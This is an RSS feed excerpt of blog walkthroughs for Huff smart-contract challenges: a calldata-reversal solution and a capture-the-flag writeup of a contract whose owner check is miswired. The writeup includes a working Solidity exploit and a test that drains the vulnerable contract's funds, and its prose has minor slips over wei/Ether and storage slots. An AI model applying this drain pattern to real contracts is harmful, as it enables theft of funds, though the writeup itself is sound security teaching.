  0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff            

  mstore
</code></pre><p>This code tries to store a massive value into memory, thereby using up all the available gas and causing an out-of-gas error.</p><hr><p><strong>You can find a runnable PoC including tests for all the Huff Challenges here:</strong></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/minaminao/ctf-blockchain/tree/main/src/HuffChallenge">https://github.com/minaminao/ctf-blockchain/tree/main/src/HuffChallenge</a></p><p><strong>To learn more about Huff, join the Huff developers discord server:</strong></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.gg/p7z3DpVnT2">https://discord.gg/p7z3DpVnT2</a></p><p>Stay tuned… Until next time 👋👋</p>]]></content:encoded>
            <author>praneshasp@newsletter.paragraph.com (PraneshASP ⚡)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/1e0895f8a47541b20f600eed695811a947260d8a67e94f2436c8d482a2594191.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Walkthrough: Huff Challenge #4]]></title>
            <link>https://paragraph.com/@praneshasp/walkthrough-huff-challenge-4</link>
            <guid>B4Lrf5rP67Ares5mfEHW</guid>
            <pubDate>Wed, 12 Jul 2023 15:23:29 GMT</pubDate>
            <description><![CDATA[In this article, we are going to explore the solution to the Huff Challenge 4. You can find walkthroughs for other challenges below:Challenge #1Challenge #2Challenge #3Also if you are new to huff and wanna learn how to test and deploy Huff contracts, check out this article. Alright let’s dive in.The Problem Statement:In this challenge, we&apos;re tasked with writing a Huff smart contract that reverses the calldata that it receives. Essentially, if you send data to this contract, it should be ...]]></description>
            <content:encoded><![CDATA[<p>In this article, we are going to explore the solution to the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/huff_language/status/1583894073487654913">Huff Challenge 4.</a></p><p>You can find walkthroughs for other challenges below:</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://seshanth.xyz/huff-challenge-1">Challenge #1</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://seshanth.xyz/huff-challenge-2">Challenge #2</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://mirror.xyz/dashboard/edit/zKE1HE3W4zadoOTBs23LfE9HAoBf5WRHqyWznBAO7OY">Challenge #3</a></p></li></ul><p>Also if you are new to huff and wanna learn how to test and deploy Huff contracts, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://mirror.xyz/0xF314e9Cc3D5F382669eeB01d31f421aF931b9eBB/H9-kta5z47jO-_Fg9Hv93D6xHcPCFgvfxCIQ26zI5hk">check out this article</a>.</p><p>Alright let’s dive in.</p><h1 id="h-the-problem-statement" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The Problem Statement:</h1><p>In this challenge, we&apos;re tasked with writing a Huff smart contract that reverses the calldata that it receives. Essentially, if you send data to this contract, it should be able to return the same data, but in reverse order.</p><p>For those who don’t know, <code>calldata</code> is a type of input data that is sent along with a transaction. It&apos;s stored outside of the EVM&apos;s storage and memory, making it cheaper to use.</p><h1 id="h-solution" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution:</h1><p>There can be multiple valid solutions to this challenge. I’m going to use one of the solutions posted by <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/real_philogy/status/1583911587768766464">@philogy</a> for this walkthrough.</p><pre data-type="codeBlock" text="#define constant NEG1 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

#define macro GET_CALLDATA_BYTE() = takes(1) returns(1) {
  calldataload 0xf8 shr
}

#define macro MAIN() = takes(0) returns(0) {
  calldatasize not_empty jumpi
  returndatasize returndatasize return
  
  not_empty:
  calldatasize
  returndatasize

  copy_bytes_iter:           // [i, j + 1]
    swap1                    // [j + 1, i]
    [NEG1] add               // [j, i]
    dup2 dup2                // [j, i, j, i]
    dup2 GET_CALLDATA_BYTE() // [cd[i], j, i, j, i]
    dup2 GET_CALLDATA_BYTE() // [cd[j], cd[i], j, i, j, i]
    swap2                    // [j, cd[i], cd[j], i, j, i]
    mstore8                  // [cd[j], i, j, i]
    swap1 mstore8            // [j, i]
    swap1 0x1 add            // [i&apos;, j&apos; + 1]
    dup2 dup2                // [i&apos;, j&apos; + 1, i&apos;, j&apos; + 1]
    lt 
    copy_bytes_iter jumpi

  calldatasize returndatasize return
}
"><code><span class="hljs-meta">#<span class="hljs-keyword">define</span> constant NEG1 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff</span>

<span class="hljs-meta">#<span class="hljs-keyword">define</span> macro GET_CALLDATA_BYTE() = takes(1) returns(1) {</span>
  calldataload <span class="hljs-number">0xf8</span> shr
}

<span class="hljs-meta">#<span class="hljs-keyword">define</span> macro MAIN() = takes(0) returns(0) {</span>
  calldatasize not_empty jumpi
  returndatasize returndatasize <span class="hljs-keyword">return</span>
  
  not_empty:
  calldatasize
  returndatasize

  copy_bytes_iter:           <span class="hljs-comment">// [i, j + 1]</span>
    swap1                    <span class="hljs-comment">// [j + 1, i]</span>
    [<span class="hljs-meta">NEG1</span>] <span class="hljs-keyword">add</span>               <span class="hljs-comment">// [j, i]</span>
    dup2 dup2                <span class="hljs-comment">// [j, i, j, i]</span>
    <span class="hljs-function">dup2 <span class="hljs-title">GET_CALLDATA_BYTE</span>() <span class="hljs-comment">// [cd[i], j, i, j, i]</span>
    dup2 <span class="hljs-title">GET_CALLDATA_BYTE</span>() <span class="hljs-comment">// [cd[j], cd[i], j, i, j, i]</span>
    swap2                    <span class="hljs-comment">// [j, cd[i], cd[j], i, j, i]</span>
    mstore8                  <span class="hljs-comment">// [cd[j], i, j, i]</span>
    swap1 mstore8            <span class="hljs-comment">// [j, i]</span>
    swap1 0x1 <span class="hljs-keyword">add</span>            <span class="hljs-comment">// [i', j' + 1]</span>
    dup2 dup2                <span class="hljs-comment">// [i', j' + 1, i', j' + 1]</span>
    lt 
    copy_bytes_iter jumpi

  calldatasize returndatasize <span class="hljs-keyword">return</span>
}
</span></code></pre><p><br>Let me break it down for you.</p><p>Firstly, the constant <code>NEG1</code>, a 256-bit number representing -1 in two&apos;s complement form. This constant will be useful for offsetting indexes.</p><pre data-type="codeBlock" text="#define constant NEG1 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
"><code><span class="hljs-meta">#<span class="hljs-keyword">define</span> constant NEG1 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff</span>
</code></pre><p>Next, a macro called <code>GET_CALLDATA_BYTE()</code> is defined. This macro fetches one byte of calldata at a specified index. <code>calldataload</code> is an EVM <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.evm.codes/">opcode</a> that loads 32 bytes of calldata from a specific index. However, we&apos;re only interested in a single byte, so we shift right (<code>shr</code>) by 248 bits (<code>0xf8</code>) to isolate the byte we need.</p><pre data-type="codeBlock" text="#define macro GET_CALLDATA_BYTE() = takes(1) returns(1) {
  calldataload 0xf8 shr
}
"><code><span class="hljs-selector-id">#define</span> macro <span class="hljs-built_in">GET_CALLDATA_BYTE</span>() = <span class="hljs-built_in">takes</span>(<span class="hljs-number">1</span>) <span class="hljs-built_in">returns</span>(<span class="hljs-number">1</span>) {
  calldataload <span class="hljs-number">0</span>xf8 shr
}
</code></pre><p>Next comes the <code>MAIN()</code> macro. The first part of <code>MAIN()</code> is a short check for whether any calldata is present:</p><pre data-type="codeBlock" text="  calldatasize not_empty jumpi
  returndatasize returndatasize return
"><code>  calldatasize not_empty jumpi
  returndatasize returndatasize <span class="hljs-keyword">return</span>
</code></pre><p>Here, <code>calldatasize</code> gets the size of the calldata. If the size is non-zero (meaning calldata is present), the control jumps to the <code>not_empty</code> label. If the size is zero (no calldata), then it immediately returns.</p><p>After confirming that calldata is present, the size of the calldata is fetched and pushed to the stack.</p><pre data-type="codeBlock" text="not_empty:
  calldatasize
  returndatasize
"><code><span class="hljs-section">not_empty:</span>
  calldatasize
  returndatasize
</code></pre><p><br>Next comes the spiciest part. The logic to reverse the calldata, one byte at a time.</p><p>Let&apos;s divide the <code>copy_bytes_iter</code> block into smaller chunks and discuss each one:</p><p><strong>Block 1: Index preparation and byte retrieval</strong></p><pre data-type="codeBlock" text="copy_bytes_iter:           // [i, j + 1]
  swap1                    // [j + 1, i]
  [NEG1] add               // [j, i]
  dup2 dup2                // [j, i, j, i]
  dup2 GET_CALLDATA_BYTE() // [cd[i], j, i, j, i]
  dup2 GET_CALLDATA_BYTE() // [cd[j], cd[i], j, i, j, i]
"><code>copy_bytes_iter:           <span class="hljs-comment">// [i, j + 1]</span>
  swap1                    <span class="hljs-comment">// [j + 1, i]</span>
  [<span class="hljs-meta">NEG1</span>] <span class="hljs-keyword">add</span>               <span class="hljs-comment">// [j, i]</span>
  dup2 dup2                <span class="hljs-comment">// [j, i, j, i]</span>
  <span class="hljs-function">dup2 <span class="hljs-title">GET_CALLDATA_BYTE</span>() <span class="hljs-comment">// [cd[i], j, i, j, i]</span>
  dup2 <span class="hljs-title">GET_CALLDATA_BYTE</span>() <span class="hljs-comment">// [cd[j], cd[i], j, i, j, i]</span>
</span></code></pre><p>In this first block, we prepare the indices and retrieve the bytes to be swapped. We first swap <code>i</code> and <code>j + 1</code> then subtract 1 from <code>j + 1</code> to get <code>j</code>. After duplicating <code>j</code> and <code>i</code> for later use, the <code>GET_CALLDATA_BYTE()</code> macro is invoked twice to get the <code>i</code>th and <code>j</code>th bytes (<code>cd[i]</code> and <code>cd[j]</code>) from the calldata.</p><p><strong>Block 2: Byte swapping</strong></p><pre data-type="codeBlock" text="  swap2                    // [j, cd[i], cd[j], i, j, i]
  mstore8                  // [cd[j], i, j, i]
  swap1 mstore8            // [j, i]
"><code>  swap2                    // <span class="hljs-selector-attr">[j, cd[i]</span>, cd<span class="hljs-selector-attr">[j]</span>, <span class="hljs-selector-tag">i</span>, j, <span class="hljs-selector-tag">i</span>]
  mstore8                  // <span class="hljs-selector-attr">[cd[j]</span>, <span class="hljs-selector-tag">i</span>, j, <span class="hljs-selector-tag">i</span>]
  swap1 mstore8            // <span class="hljs-selector-attr">[j, i]</span>
</code></pre><p>In the second block, the swapping of the bytes takes place. The contract swaps <code>cd[i]</code> and <code>j</code>, then uses <code>mstore8</code> to store <code>cd[j]</code> at the <code>i</code>th position and <code>cd[i]</code> at the <code>j</code>th position. At the end of this block, <code>j</code> and <code>i</code> are left on the stack.</p><p><strong>Block 3: Loop iteration and continuation</strong></p><pre data-type="codeBlock" text="  swap1 0x1 add            // [i&apos;, j&apos; + 1]
  dup2 dup2                // [i&apos;, j&apos; + 1, i&apos;, j&apos; + 1]
  lt 
  copy_bytes_iter jumpi
"><code>  swap1 <span class="hljs-number">0</span>x1 add            // <span class="hljs-selector-attr">[i<span class="hljs-string">', j'</span> + 1]</span>
  dup2 dup2                // <span class="hljs-selector-attr">[i<span class="hljs-string">', j'</span> + 1, i<span class="hljs-string">', j'</span> + 1]</span>
  lt 
  copy_bytes_iter jumpi
</code></pre><p>In the third block, <code>i</code> is incremented to move on to the next byte from the start. The indices <code>i&apos;</code> and <code>j&apos; + 1</code> are then duplicated for comparison. If <code>i&apos;</code> is less than <code>j&apos; + 1</code>, the loop continues and jumps back to <code>copy_bytes_iter</code>. Otherwise, the loop terminates, and the contract proceeds to the next stage.</p><p>By repeating these steps, the <code>copy_bytes_iter</code> block swaps all pairs of bytes in the calldata until all bytes are reversed.</p><p><strong>GitHub link to the PoC:</strong></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/minaminao/ctf-blockchain/tree/main/src/HuffChallenge/challenge4">https://github.com/minaminao/ctf-blockchain/tree/main/src/HuffChallenge/challenge4</a></p>]]></content:encoded>
            <author>praneshasp@newsletter.paragraph.com (PraneshASP ⚡)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/103cb444edfca49950bc59905d8590bda6bea1839319f6e5d63be4cd5adb6621.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Walkthrough: Huff Challenge #3 ]]></title>
            <link>https://paragraph.com/@praneshasp/walkthrough-huff-challenge-3</link>
            <guid>68qOaq1CjDTTyv4O97c5</guid>
            <pubDate>Mon, 10 Jul 2023 16:15:32 GMT</pubDate>
            <description><![CDATA[In this article, we are going to explore the solution to the Huff Challenge 3. You can find walkthroughs for Challenge #1 here and Challenge #2 here. If you wanna learn how to test and deploy Huff contracts, check out this article.Overview:Here’s the target contract for the challenge:#define constant OWNER_SLOT = 0x00 #define constant WITHDRAWER_SLOT = 0x01 #define constant LAST_DEPOSITER_SLOT = 0x02 // Deposit into the contract. #define macro DEPOSIT() = takes (0) returns (0) { callvalue isz...]]></description>
            <content:encoded><![CDATA[<p>In this article, we are going to explore the solution to the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/huff_language/status/1560750533811376128">Huff Challenge 3</a>.</p><p>You can find walkthroughs for Challenge #1 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://seshanth.xyz/huff-challenge-1">here</a> and Challenge #2 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://seshanth.xyz/huff-challenge-2">here</a>.</p><p>If you wanna learn how to test and deploy Huff contracts, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://mirror.xyz/0xF314e9Cc3D5F382669eeB01d31f421aF931b9eBB/H9-kta5z47jO-_Fg9Hv93D6xHcPCFgvfxCIQ26zI5hk">check out this article</a>.</p><h2 id="h-overview" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Overview:</h2><p>Here’s the target contract for the challenge:</p><pre data-type="codeBlock" text="#define constant OWNER_SLOT = 0x00
#define constant WITHDRAWER_SLOT = 0x01
#define constant LAST_DEPOSITER_SLOT = 0x02

// Deposit into the contract.
#define macro DEPOSIT() = takes (0) returns (0) {
    callvalue iszero error jumpi // revert if msg.value == 0
    caller [LAST_DEPOSITER_SLOT] sstore // store last depositer 
    stop
    error:
        0x00 0x00 revert
}

// Withdraw from the contract.
#define macro WITHDRAW() = takes (0) returns (0) {
    [WITHDRAWER_SLOT] sload       // get withdrawer
    caller eq iszero error jumpi  // revert if caller != withdrawer

    // Transfer tokens
    0x00 0x00 0x00 0x00     // fill stack with 0
    selfbalance caller gas  // call parameters
    call                    // send ETH
    stop
    error:
        0x00 0x00 revert
}

// Allow owner to set withdrawer.
#define macro SET_WITHDRAWER() = takes (0) returns (0) {
    caller callvalue sload eq iszero error jumpi // require(msg.sender==owner)
    0x04 calldataload [WITHDRAWER_SLOT] sstore   // set new withdrawer
    stop
    error:
        0x00 0x00 revert
}

// Constructor.
#define macro CONSTRUCTOR() = takes (0) returns (0) {
    caller [OWNER_SLOT] sstore // set the deploywer as the owner
}

// Main macro
#define macro MAIN() = takes (0) returns (0) {
    0x00 calldataload 0xE0 shr
    dup1 0xd0e30db0 eq deposit jumpi
    dup1 0x3ccfd60b eq withdraw jumpi
    dup1 0x0d174c24 eq set_withdrawer jumpi

    deposit:
        DEPOSIT()
    withdraw:
        WITHDRAW()
    set_withdrawer:
        SET_WITHDRAWER()
}
"><code>#define <span class="hljs-keyword">constant</span> OWNER_SLOT <span class="hljs-operator">=</span> <span class="hljs-number">0x00</span>
#define <span class="hljs-keyword">constant</span> WITHDRAWER_SLOT <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>
#define <span class="hljs-keyword">constant</span> LAST_DEPOSITER_SLOT <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>

<span class="hljs-comment">// Deposit into the contract.</span>
#define macro DEPOSIT() <span class="hljs-operator">=</span> takes (<span class="hljs-number">0</span>) <span class="hljs-keyword">returns</span> (<span class="hljs-number">0</span>) {
    callvalue iszero <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">jumpi</span> <span class="hljs-comment">// revert if msg.value == 0</span>
    <span class="hljs-title">caller</span> [<span class="hljs-title">LAST_DEPOSITER_SLOT</span>] <span class="hljs-title">sstore</span> <span class="hljs-comment">// store last depositer </span>
    <span class="hljs-title">stop</span>
    <span class="hljs-title"><span class="hljs-keyword">error</span></span>:
        0<span class="hljs-title">x00</span> 0<span class="hljs-title">x00</span> <span class="hljs-title"><span class="hljs-keyword">revert</span></span>
}

<span class="hljs-comment">// Withdraw from the contract.</span>
#<span class="hljs-title">define</span> <span class="hljs-title">macro</span> <span class="hljs-title">WITHDRAW</span>(<span class="hljs-params"></span>) = <span class="hljs-title">takes</span> (<span class="hljs-params"><span class="hljs-number">0</span></span>) <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-number">0</span></span>) </span>{
    [WITHDRAWER_SLOT] sload       <span class="hljs-comment">// get withdrawer</span>
    caller eq iszero <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">jumpi</span>  <span class="hljs-comment">// revert if caller != withdrawer</span>

    <span class="hljs-comment">// Transfer tokens</span>
    0<span class="hljs-title">x00</span> 0<span class="hljs-title">x00</span> 0<span class="hljs-title">x00</span> 0<span class="hljs-title">x00</span>     <span class="hljs-comment">// fill stack with 0</span>
    <span class="hljs-title">selfbalance</span> <span class="hljs-title">caller</span> <span class="hljs-title">gas</span>  <span class="hljs-comment">// call parameters</span>
    <span class="hljs-title">call</span>                    <span class="hljs-comment">// send ETH</span>
    <span class="hljs-title">stop</span>
    <span class="hljs-title"><span class="hljs-keyword">error</span></span>:
        0<span class="hljs-title">x00</span> 0<span class="hljs-title">x00</span> <span class="hljs-title"><span class="hljs-keyword">revert</span></span>
}

<span class="hljs-comment">// Allow owner to set withdrawer.</span>
#<span class="hljs-title">define</span> <span class="hljs-title">macro</span> <span class="hljs-title">SET_WITHDRAWER</span>(<span class="hljs-params"></span>) = <span class="hljs-title">takes</span> (<span class="hljs-params"><span class="hljs-number">0</span></span>) <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-number">0</span></span>) </span>{
    caller callvalue sload eq iszero <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">jumpi</span> <span class="hljs-comment">// require(msg.sender==owner)</span>
    0<span class="hljs-title">x04</span> <span class="hljs-title">calldataload</span> [<span class="hljs-title">WITHDRAWER_SLOT</span>] <span class="hljs-title">sstore</span>   <span class="hljs-comment">// set new withdrawer</span>
    <span class="hljs-title">stop</span>
    <span class="hljs-title"><span class="hljs-keyword">error</span></span>:
        0<span class="hljs-title">x00</span> 0<span class="hljs-title">x00</span> <span class="hljs-title"><span class="hljs-keyword">revert</span></span>
}

<span class="hljs-comment">// Constructor.</span>
#<span class="hljs-title">define</span> <span class="hljs-title">macro</span> <span class="hljs-title">CONSTRUCTOR</span>(<span class="hljs-params"></span>) = <span class="hljs-title">takes</span> (<span class="hljs-params"><span class="hljs-number">0</span></span>) <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-number">0</span></span>) </span>{
    caller [OWNER_SLOT] sstore <span class="hljs-comment">// set the deploywer as the owner</span>
}

<span class="hljs-comment">// Main macro</span>
#define macro MAIN() <span class="hljs-operator">=</span> takes (<span class="hljs-number">0</span>) <span class="hljs-keyword">returns</span> (<span class="hljs-number">0</span>) {
    <span class="hljs-number">0x00</span> calldataload <span class="hljs-number">0xE0</span> shr
    dup1 <span class="hljs-number">0xd0e30db0</span> eq deposit jumpi
    dup1 <span class="hljs-number">0x3ccfd60b</span> eq withdraw jumpi
    dup1 <span class="hljs-number">0x0d174c24</span> eq set_withdrawer jumpi

    deposit:
        DEPOSIT()
    withdraw:
        WITHDRAW()
    set_withdrawer:
        SET_WITHDRAWER()
}
</code></pre><p>The Huff contract contains four primary operations defined as macros:</p><ol><li><p><code>DEPOSIT()</code>: allows a user to deposit funds into the contract.</p></li><li><p><code>WITHDRAW()</code>: lets the designated withdrawer to extract funds from the contract.</p></li><li><p><code>SET_WITHDRAWER()</code>: allows the owner to change the designated withdrawer.</p></li><li><p><code>CONSTRUCTOR()</code>: a setup routine that runs once upon deployment, setting the deployer as the contract owner.</p></li></ol><p>The contract also maintains three storage slots:</p><ul><li><p><code>OWNER_SLOT</code>: The contract&apos;s owner.</p></li><li><p><code>WITHDRAWER_SLOT</code>: The currently designated withdrawer.</p></li><li><p><code>LAST_DEPOSITER_SLOT</code>: The last user who deposited into the contract.</p></li></ul><pre data-type="codeBlock" text="#define constant OWNER_SLOT = 0x00
#define constant WITHDRAWER_SLOT = 0x01
#define constant LAST_DEPOSITER_SLOT = 0x02
"><code><span class="hljs-meta">#<span class="hljs-keyword">define</span> constant OWNER_SLOT = 0x00</span>
<span class="hljs-meta">#<span class="hljs-keyword">define</span> constant WITHDRAWER_SLOT = 0x01</span>
<span class="hljs-meta">#<span class="hljs-keyword">define</span> constant LAST_DEPOSITER_SLOT = 0x02</span>
</code></pre><h2 id="h-the-bug" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The Bug:</h2><p>The critical bug exists in the <code>SET_WITHDRAWER()</code> macro. It is intended to allow only the contract owner to set a new withdrawer. However, due to a flaw in the code, it actually checks whether the calling address matches the value of the transaction (in Wei). Here&apos;s the problematic line of code:</p><pre data-type="codeBlock" text="caller callvalue sload eq iszero error jumpi // require(msg.sender==owner)
"><code>caller callvalue sload eq iszero <span class="hljs-type">error</span> jumpi <span class="hljs-comment">// require(msg.sender==owner)</span>
</code></pre><p>This means that <em>if the sender of the transaction sends an amount of Ether equal to their address when calling this function, they could change the withdrawer, thereby opening the door to draining the contract&apos;s funds.</em></p><p>Let&apos;s break it down.</p><p>In the line of code that creates the bug, <code>caller callvalue sload eq iszero error jumpi</code>, we see a sequence of opcodes that, while seemingly correct at first glance, contain a fatal logic error.</p><p>Here&apos;s how the above line is interpreted:</p><ol><li><p><code>caller</code>: This opcode pushes the caller&apos;s address (the address that started the execution) onto the stack.</p></li><li><p><code>callvalue</code>: Pushes the amount of Wei sent with the message (<code>msg.value</code>) onto the stack. This should have been <code>[OWNER_SLOT]</code> to load the contract owner&apos;s address into the stack.</p></li><li><p><code>sload</code>: Loads the value from storage located at the address at the top of the stack. Since we have just pushed <code>callvalue</code>, it will attempt to load a value from an address equivalent to the Wei sent, which is nonsensical in this context.</p></li><li><p><code>eq</code>: Checks if the top two stack items are equal.</p></li><li><p><code>iszero</code>: Checks if the result of the <code>eq</code> operation is <code>0</code>.</p></li><li><p><code>error jumpi</code>: If the previous operation resulted in <code>0</code> (meaning the <code>eq</code> operation returned false), it jumps to the error label and reverts the transaction.</p></li></ol><h2 id="h-the-fix" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The Fix</h2><p>The correct operation to check whether the sender of the transaction is the contract&apos;s owner should have been <code>caller [OWNER_SLOT] sload eq iszero error jumpi</code>. This will correctly load the owner&apos;s address from the storage slot <code>0x01</code> into the stack and compare it to the caller&apos;s address, thereby correctly enforcing the permission check.</p><p>Here&apos;s the corrected <code>SET_WITHDRAWER()</code> macro:</p><pre data-type="codeBlock" text="#define macro SET_WITHDRAWER() = takes (0) returns (0) {
    caller [OWNER_SLOT] sload eq iszero error jumpi // require(msg.sender==owner)
    0x04 calldataload [WITHDRAWER_SLOT] sstore   // set new withdrawer
    stop
    error:
        0x00 0x00 revert
}
"><code><span class="hljs-selector-id">#define</span> macro <span class="hljs-built_in">SET_WITHDRAWER</span>() = takes (<span class="hljs-number">0</span>) returns (<span class="hljs-number">0</span>) {
    caller <span class="hljs-selector-attr">[OWNER_SLOT]</span> sload eq iszero error jumpi <span class="hljs-comment">// require(msg.sender==owner)</span>
    <span class="hljs-number">0</span>x04 calldataload <span class="hljs-selector-attr">[WITHDRAWER_SLOT]</span> sstore   <span class="hljs-comment">// set new withdrawer</span>
    stop
    error:
        <span class="hljs-number">0</span>x00 <span class="hljs-number">0</span>x00 revert
}
</code></pre><p>This is a really cool challenge as it shows how worse it can get by a change in a single word. Also it highlights the importance of understanding the basics before starting to use low-level languages like Huff, Yul, etk, etc.,</p><h1 id="h-proof-of-concept" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Proof of Concept:</h1><p>Having identified the flaw, let’s take a look at the PoC for a better understanding.</p><pre data-type="codeBlock" text="import &quot;./IChallenge3.sol&quot;;

function playerScript(address instanceAddress) {
    new Challenge3Exploit{value: 3}(instanceAddress);
}

contract Challenge3Exploit {
    constructor(address instanceAddress) payable {
        Challenge3 challenge = Challenge3(payable(instanceAddress));
        challenge.deposit{value: 1}();
        challenge.setWithdrawer{value: 2}(address(this));
        challenge.withdraw();
        selfdestruct(payable(msg.sender));
    }
}
"><code><span class="hljs-keyword">import</span> <span class="hljs-string">"./IChallenge3.sol"</span>;

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">playerScript</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> instanceAddress</span>) </span>{
    <span class="hljs-keyword">new</span> Challenge3Exploit{<span class="hljs-built_in">value</span>: <span class="hljs-number">3</span>}(instanceAddress);
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Challenge3Exploit</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> instanceAddress</span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        Challenge3 challenge <span class="hljs-operator">=</span> Challenge3(<span class="hljs-keyword">payable</span>(instanceAddress));
        challenge.deposit{<span class="hljs-built_in">value</span>: <span class="hljs-number">1</span>}();
        challenge.setWithdrawer{<span class="hljs-built_in">value</span>: <span class="hljs-number">2</span>}(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        challenge.withdraw();
        <span class="hljs-built_in">selfdestruct</span>(<span class="hljs-keyword">payable</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>));
    }
}
</code></pre><h3 id="h-the-exploit" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The Exploit</h3><p>The <code>playerScript()</code> function is the main entry point. It deploys a new <code>Challenge3Exploit</code> contract, passing the instance address of the vulnerable contract and sending along 3 Ether.</p><p>Next, three key steps of the exploit:</p><ol><li><p><code>challenge.deposit{value: 1}();</code> - Deposit 1 Ether into the vulnerable contract.</p></li><li><p><code>challenge.setWithdrawer{value: 2}(address(this));</code> - Exploit the bug, call the <code>setWithdrawer()</code> method with 2 Ether, so that the caller address (<code>0x02</code>) and the <code>callvalue</code> are both the same.</p></li><li><p><code>challenge.withdraw();</code> - Now that the contract is set as the withdrawer, call the <code>withdraw()</code> function to drain the funds from the vulnerable contract.</p></li></ol><p>Finally, the line <code>selfdestruct(payable(msg.sender));</code> sends all the funds collected by the exploit contract back to its deployer and destroys the contract.</p><h3 id="h-harness-contract" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Harness contract:</h3><pre data-type="codeBlock" text="contract Challenge3Test is Test {
    address playerAddress = makeAddr(&quot;player&quot;);
    Challenge3 test;

    function setUp() public {
        test = Challenge3(HuffDeployer.deploy(&quot;HuffChallenge/challenge3/Challenge3&quot;));
        test.deposit{value: 0.1 ether}();
        assertEq(address(test).balance, 0.1 ether);
    }

    function testExploit() public {
        vm.deal(playerAddress, 1 ether);

        vm.startPrank(playerAddress, playerAddress);
        playerScript(address(test));
        vm.stopPrank();

        assertEq(address(test).balance, 0 ether);
        assertEq(playerAddress.balance, 1.1 ether);
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Challenge3Test</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{
    <span class="hljs-keyword">address</span> playerAddress <span class="hljs-operator">=</span> makeAddr(<span class="hljs-string">"player"</span>);
    Challenge3 test;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setUp</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        test <span class="hljs-operator">=</span> Challenge3(HuffDeployer.deploy(<span class="hljs-string">"HuffChallenge/challenge3/Challenge3"</span>));
        test.deposit{<span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.1</span> <span class="hljs-literal">ether</span>}();
        assertEq(<span class="hljs-keyword">address</span>(test).<span class="hljs-built_in">balance</span>, <span class="hljs-number">0</span><span class="hljs-number">.1</span> <span class="hljs-literal">ether</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testExploit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        vm.deal(playerAddress, <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);

        vm.startPrank(playerAddress, playerAddress);
        playerScript(<span class="hljs-keyword">address</span>(test));
        vm.stopPrank();

        assertEq(<span class="hljs-keyword">address</span>(test).<span class="hljs-built_in">balance</span>, <span class="hljs-number">0</span> <span class="hljs-literal">ether</span>);
        assertEq(playerAddress.<span class="hljs-built_in">balance</span>, <span class="hljs-number">1.1</span> <span class="hljs-literal">ether</span>);
    }
}
